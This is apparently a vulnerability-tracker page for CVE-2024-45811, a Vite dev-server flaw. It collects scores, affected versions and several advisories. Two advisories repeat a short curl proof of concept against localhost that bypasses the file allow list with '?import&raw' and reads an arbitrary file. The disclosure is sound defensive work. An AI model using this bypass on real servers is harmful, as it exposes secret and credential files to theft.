CVE-2024-45811
published 2024-09-17CVE-2024-45811: Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies…
PriorityP426medium4.8CVSS 3.1
AVAACHPRNUIRSUCHINAN
EPSS
1.03%
59.4th percentile
Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| vitejs | vite | < 3.2.11 | 3.2.11 |
| vitejs | vite | — | — |
| vitejs | vite | — | — |
| vitejs | vite | — | — |
| vitejs | vite | — | — |
| vitejs | vite | >= 0 < 3.2.11 | 3.2.11 |
| vitejs | vite | >= 4.0.0 < 4.5.4 | 4.5.4 |
| vitejs | vite | >= 5.0.0 < 5.1.8 | 5.1.8 |
| vitejs | vite | >= 5.2.0 < 5.2.14 | 5.2.14 |
| vitejs | vite | >= 5.3.0 < 5.3.6 | 5.3.6 |
| vitejs | vite | >= 5.4.0 < 5.4.6 | 5.4.6 |
CVSS provenance
nvdv3.14.8MEDIUMCVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
vendor_redhat4.8MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Vite's `server.fs.deny` is bypassed when using `?import&raw`
ghsa·2024-09-17
CVE-2024-45811 [MEDIUM] CWE-200 Vite's `server.fs.deny` is bypassed when using `?import&raw`
Vite's `server.fs.deny` is bypassed when using `?import&raw`
### Summary
The contents of arbitrary files can be returned to the browser.
### Details
`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.
### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
403 Restricted
The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```
OSV
Vite's `server.fs.deny` is bypassed when using `?import&raw`
osv·2024-09-17
CVE-2024-45811 [MEDIUM] Vite's `server.fs.deny` is bypassed when using `?import&raw`
Vite's `server.fs.deny` is bypassed when using `?import&raw`
### Summary
The contents of arbitrary files can be returned to the browser.
### Details
`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.
### PoC
```sh
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
403 Restricted
The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
```
Red Hat
vite: server.fs.deny is bypassed when using `?import&raw`
vendor_redhat·2024-09-17·CVSS 4.8
CVE-2024-45811 [MEDIUM] CWE-41 vite: server.fs.deny is bypassed when using `?import&raw`
vite: server.fs.deny is bypassed when using `?import&raw`
Vite a frontend build tooling framework for javascript. In affected versions the contents of arbitrary files can be returned to the browser. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. This issue has been patched in versions 5.4.6, 5.3.6, 5.2.14, 4.5.5, and 3.2.11. Users are advised to upgrade. There are no known workarounds for this vulnerability.
A flaw was found in ViteJS. `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists, which can allow an attacker to access arbitrary files via the browser.
Sta
No detection rules found.
No public exploits indexed.
2024-09-17
Published